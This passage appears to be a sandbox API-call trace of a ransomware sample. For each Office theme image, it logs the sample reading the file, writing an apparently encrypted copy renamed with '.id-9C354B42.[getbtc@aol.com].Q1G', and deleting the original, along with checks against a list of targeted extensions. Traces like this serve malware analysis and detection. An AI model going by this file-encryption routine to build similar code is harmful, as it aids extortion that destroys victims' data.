SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.945] SetEndOfFile (hFile=0x1d0) returned 1 [0044.946] CloseHandle (hObject=0x1d0) returned 1 [0044.946] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0044.946] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif")) returned 1 [0044.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0044.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0044.947] lstrlenW (lpString=".doc") returned 4 [0044.947] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.947] lstrlenW (lpString=".docx") returned 5 [0044.947] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.947] lstrlenW (lpString=".pdf") returned 4 [0044.947] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.947] lstrlenW (lpString=".xls") returned 4 [0044.947] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.947] lstrlenW (lpString=".xlsx") returned 5 [0044.947] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.947] lstrlenW (lpString=".ppt") returned 4 [0044.947] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0044.947] lstrlenW (lpString=".zip") returned 4 [0044.947] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.947] lstrlenW (lpString=".rar") returned 4 [0044.947] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.947] lstrlenW (lpString=".bz2") returned 4 [0044.947] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.947] lstrlenW (lpString=".7z") returned 3 [0044.947] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0044.947] lstrlenW (lpString=".dbf") returned 4 [0044.947] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0044.947] lstrlenW (lpString=".1cd") returned 4 [0044.947] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0044.947] lstrlenW (lpString=".jpg") returned 4 [0044.948] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0044.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0044.948] lstrlenW (lpString=".doc") returned 4 [0044.948] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.948] lstrlenW (lpString=".docx") returned 5 [0044.948] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.948] lstrlenW (lpString=".pdf") returned 4 [0044.948] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.948] lstrlenW (lpString=".xls") returned 4 [0044.948] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.948] lstrlenW (lpString=".xlsx") returned 5 [0044.948] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.948] lstrlenW (lpString=".ppt") returned 4 [0044.948] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0044.948] lstrlenW (lpString=".zip") returned 4 [0044.948] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.948] lstrlenW (lpString=".rar") returned 4 [0044.948] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.948] lstrlenW (lpString=".bz2") returned 4 [0044.948] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.948] lstrlenW (lpString=".7z") returned 3 [0044.948] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0044.948] lstrlenW (lpString=".dbf") returned 4 [0044.948] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0044.948] lstrlenW (lpString=".1cd") returned 4 [0044.948] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF") returned 76 [0044.948] lstrlenW (lpString=".jpg") returned 4 [0044.948] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.949] lstrcmpiW (lpString1=".PNG", lpString2=".Q1G") returned -1 [0044.949] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0044.949] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0044.949] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=31837) returned 1 [0044.949] CloseHandle (hObject=0x1d0) returned 1 [0044.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png")) returned 0x20 [0044.949] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0044.949] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0044.949] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.949] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.949] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0044.950] GetLastError () returned 0x0 [0044.950] ReadFile (in: hFile=0x1d0, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x7c5d, lpOverlapped=0x0) returned 1 [0044.952] WriteFile (in: hFile=0x204, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0x7c60, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x7c60, lpOverlapped=0x0) returned 1 [0044.953] ReadFile (in: hFile=0x1d0, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.953] WriteFile (in: hFile=0x204, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0044.953] SetEndOfFile (hFile=0x204) returned 1 [0044.953] CloseHandle (hObject=0x204) returned 1 [0044.954] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.954] SetEndOfFile (hFile=0x1d0) returned 1 [0044.955] CloseHandle (hObject=0x1d0) returned 1 [0044.955] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0044.955] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png")) returned 1 [0044.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0044.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0044.956] lstrlenW (lpString=".doc") returned 4 [0044.956] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.956] lstrlenW (lpString=".docx") returned 5 [0044.956] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.956] lstrlenW (lpString=".pdf") returned 4 [0044.956] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.956] lstrlenW (lpString=".xls") returned 4 [0044.956] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.956] lstrlenW (lpString=".xlsx") returned 5 [0044.956] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.956] lstrlenW (lpString=".ppt") returned 4 [0044.956] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0044.956] lstrlenW (lpString=".zip") returned 4 [0044.956] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.956] lstrlenW (lpString=".rar") returned 4 [0044.956] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.956] lstrlenW (lpString=".bz2") returned 4 [0044.956] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.956] lstrlenW (lpString=".7z") returned 3 [0044.956] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0044.956] lstrlenW (lpString=".dbf") returned 4 [0044.956] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0044.956] lstrlenW (lpString=".1cd") returned 4 [0044.956] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0044.956] lstrlenW (lpString=".jpg") returned 4 [0044.956] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0044.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0044.957] lstrlenW (lpString=".doc") returned 4 [0044.957] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0044.957] lstrlenW (lpString=".docx") returned 5 [0044.957] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0044.957] lstrlenW (lpString=".pdf") returned 4 [0044.957] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0044.957] lstrlenW (lpString=".xls") returned 4 [0044.957] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0044.957] lstrlenW (lpString=".xlsx") returned 5 [0044.957] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0044.957] lstrlenW (lpString=".ppt") returned 4 [0044.957] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0044.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0044.957] lstrlenW (lpString=".zip") returned 4 [0044.957] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0044.957] lstrlenW (lpString=".rar") returned 4 [0044.957] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0044.957] lstrlenW (lpString=".bz2") returned 4 [0044.957] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0044.957] lstrlenW (lpString=".7z") returned 3 [0044.957] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0044.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0044.957] lstrlenW (lpString=".dbf") returned 4 [0044.957] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0044.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0044.957] lstrlenW (lpString=".1cd") returned 4 [0044.957] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0044.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0044.957] lstrlenW (lpString=".jpg") returned 4 [0044.957] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0044.957] lstrcmpiW (lpString1=".GIF", lpString2=".Q1G") returned -1 [0044.958] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0044.958] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0044.958] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=2722) returned 1 [0044.958] CloseHandle (hObject=0x1d0) returned 1 [0044.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif")) returned 0x20 [0044.958] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0044.958] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0044.958] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.958] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.958] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0044.960] GetLastError () returned 0x0 [0044.960] ReadFile (in: hFile=0x1d0, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0xaa2, lpOverlapped=0x0) returned 1 [0044.962] WriteFile (in: hFile=0x204, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xab0, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xab0, lpOverlapped=0x0) returned 1 [0044.963] ReadFile (in: hFile=0x1d0, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0044.963] WriteFile (in: hFile=0x204, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0044.963] SetEndOfFile (hFile=0x204) returned 1 [0044.963] CloseHandle (hObject=0x204) returned 1 [0044.963] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0044.963] SetEndOfFile (hFile=0x1d0) returned 1 [0044.972] CloseHandle (hObject=0x1d0) returned 1 [0044.972] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0044.972] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\preview.gif")) returned 1 [0044.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0044.972] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0044.973] lstrlenW (lpString=".doc") returned 4 [0044.973] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.973] lstrlenW (lpString=".docx") returned 5 [0044.973] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.973] lstrlenW (lpString=".pdf") returned 4 [0044.973] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.973] lstrlenW (lpString=".xls") returned 4 [0044.973] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0044.973] lstrlenW (lpString=".xlsx") returned 5 [0044.973] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0044.973] lstrlenW (lpString=".ppt") returned 4 [0044.973] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0044.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0044.973] lstrlenW (lpString=".zip") returned 4 [0044.973] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0044.973] lstrlenW (lpString=".rar") returned 4 [0044.973] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0044.973] lstrlenW (lpString=".bz2") returned 4 [0044.973] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0044.973] lstrlenW (lpString=".7z") returned 3 [0044.973] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0044.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0044.973] lstrlenW (lpString=".dbf") returned 4 [0044.973] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0044.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0044.973] lstrlenW (lpString=".1cd") returned 4 [0044.973] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0044.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0044.973] lstrlenW (lpString=".jpg") returned 4 [0044.973] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0044.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0044.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0044.973] lstrlenW (lpString=".doc") returned 4 [0044.973] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0044.973] lstrlenW (lpString=".docx") returned 5 [0044.973] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0044.974] lstrlenW (lpString=".pdf") returned 4 [0044.974] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0044.974] lstrlenW (lpString=".xls") returned 4 [0044.974] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0045.208] lstrlenW (lpString=".xlsx") returned 5 [0045.208] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0045.208] lstrlenW (lpString=".ppt") returned 4 [0045.208] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0045.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0045.208] lstrlenW (lpString=".zip") returned 4 [0045.208] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0045.208] lstrlenW (lpString=".rar") returned 4 [0045.208] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0045.208] lstrlenW (lpString=".bz2") returned 4 [0045.208] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0045.208] lstrlenW (lpString=".7z") returned 3 [0045.208] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0045.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0045.208] lstrlenW (lpString=".dbf") returned 4 [0045.208] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0045.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0045.208] lstrlenW (lpString=".1cd") returned 4 [0045.208] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0045.208] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\PREVIEW.GIF") returned 74 [0045.208] lstrlenW (lpString=".jpg") returned 4 [0045.208] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0045.209] lstrcmpiW (lpString1=".PNG", lpString2=".Q1G") returned -1 [0045.209] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0045.209] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0045.903] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=29925) returned 1 [0045.903] CloseHandle (hObject=0x200) returned 1 [0045.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png")) returned 0x20 [0045.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0045.903] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0045.903] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.904] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.904] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0045.904] GetLastError () returned 0x0 [0045.904] ReadFile (in: hFile=0x200, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x74e5, lpOverlapped=0x0) returned 1 [0045.908] WriteFile (in: hFile=0x194, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0x74f0, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0x74f0, lpOverlapped=0x0) returned 1 [0045.910] ReadFile (in: hFile=0x200, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.910] WriteFile (in: hFile=0x194, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: 